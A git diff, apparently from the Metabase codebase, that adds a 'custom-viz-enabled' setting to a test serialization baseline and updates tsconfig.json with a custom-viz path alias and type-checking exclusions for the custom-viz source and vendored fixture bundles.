diff --git a/test_resources/serialization_baseline/settings.yaml b/test_resources/serialization_baseline/settings.yaml
index 715d38b7b33..bcb5dd453e9 100644
--- a/test_resources/serialization_baseline/settings.yaml
+++ b/test_resources/serialization_baseline/settings.yaml
@@ -19,6 +19,7 @@ custom-geojson: null
custom-geojson-enabled: null
custom-homepage: null
custom-homepage-dashboard: null
+custom-viz-enabled: null
default-maps-enabled: null
disable-cors-on-localhost: null
email-max-recipients-per-second: null
diff --git a/tsconfig.json b/tsconfig.json
index 78a2f32786a..2e2352f8489 100644
--- a/tsconfig.json
+++ b/tsconfig.json
@@ -13,7 +13,8 @@
],
"build-configs/*": ["./frontend/build/*"],
"cljs/*": ["./target/cljs_dev/*"],
- "sdk-ee-plugins": ["./frontend/src/metabase/plugins/noop"]
+ "sdk-ee-plugins": ["./frontend/src/metabase/plugins/noop"],
+ "custom-viz": ["./enterprise/frontend/src/custom-viz/src/index.ts"]
},
"plugins": [
{
@@ -33,6 +34,10 @@
],
"exclude": [
"node_modules",
+ "enterprise/frontend/src/custom-viz",
+ // Vendored custom-viz plugin bundles (pre-built UMD) — opaque to
+ // type-checking; the surrounding story/helper handles the typing.
+ "frontend/test/__support__/custom-viz-fixtures/**/*.js",
// The following files will load `frontend/src/metabase/app` which will conflict with
// `frontend/src/metabase/App.tsx`, since now we're loading both JS and TS files.
"frontend/src/metabase/app-main.js",